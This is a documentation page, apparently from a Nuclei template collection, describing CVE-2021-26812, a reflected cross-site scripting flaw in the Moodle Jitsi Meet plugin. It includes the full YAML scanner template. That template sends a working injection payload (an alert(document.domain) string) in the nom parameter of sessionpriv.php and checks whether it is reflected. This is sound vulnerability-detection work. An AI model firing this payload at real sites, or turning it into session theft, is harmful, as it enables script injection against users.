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Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting

ID: CVE-2021-26812

Severity: medium

Author: aceseven (digisec360)

Tags: cve2021,cve,moodle,jitsi,xss,plugin

Description

Section titled “Description”

Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the “sessionpriv.php” module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.

YAML Source

Section titled “YAML Source”
id: CVE-2021-26812


info:
  name: Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting
  author: aceseven (digisec360)
  severity: medium
  description: Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Moodle Jitsi Meet plugin to mitigate the XSS vulnerability.
  reference:
    - https://github.com/udima-university/moodle-mod_jitsi/issues/67
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26812
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26812
    cwe-id: CWE-79
    epss-score: 0.00464
    epss-percentile: 0.75413
    cpe: cpe:2.3:a:jitsi:meet:*:*:*:*:*:moodle:*:*
  metadata:
    max-request: 1
    vendor: jitsi
    product: meet
    framework: moodle
  tags: cve2021,cve,moodle,jitsi,xss,plugin


http:
  - method: GET
    path:
      - "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F{{Hostname}}%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"


      - type: word
        part: header
        words:
          - "MoodleSession"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502204fa9aa4db39e0b42abf9a24f5154f235a2eb0e3fee9a5f2197923311ee5d3698022100cebb7239dd398f17a96f61d4be6833b7fa967326d198a444b119c994a0871845:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-26812.yaml"

View on Github